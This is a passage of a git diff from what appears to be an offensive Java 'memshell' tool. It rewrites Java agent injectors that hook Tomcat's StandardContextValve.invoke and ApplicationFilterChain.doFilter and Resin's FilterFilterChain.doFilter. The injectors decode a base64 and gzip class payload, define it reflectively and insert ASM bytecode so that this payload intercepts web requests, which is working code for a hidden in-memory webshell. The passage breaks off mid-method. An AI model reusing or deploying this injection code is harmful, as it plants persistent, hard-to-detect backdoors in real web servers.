}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-97
@@ -1,97 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public ResinFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new ResinFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
+199
-39
@@ -1,39 +1,28 @@
|
||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer {
|
||||
public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,21 +33,192 @@ public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("org.apache.catalina.core.StandardContextValve"))
|
||||
.transform(new TomcatContextValveAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
inst.addTransformer(new TomcatContextValveAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-98
@@ -1,98 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public TomcatContextValveAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new TomcatContextValveAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
}
|
||||
}
|
||||
+198
-39
@@ -1,39 +1,28 @@
|
||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||
public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,21 +33,191 @@ public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
|
||||
.transform(new TomcatFilterChainAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
inst.addTransformer(new TomcatFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
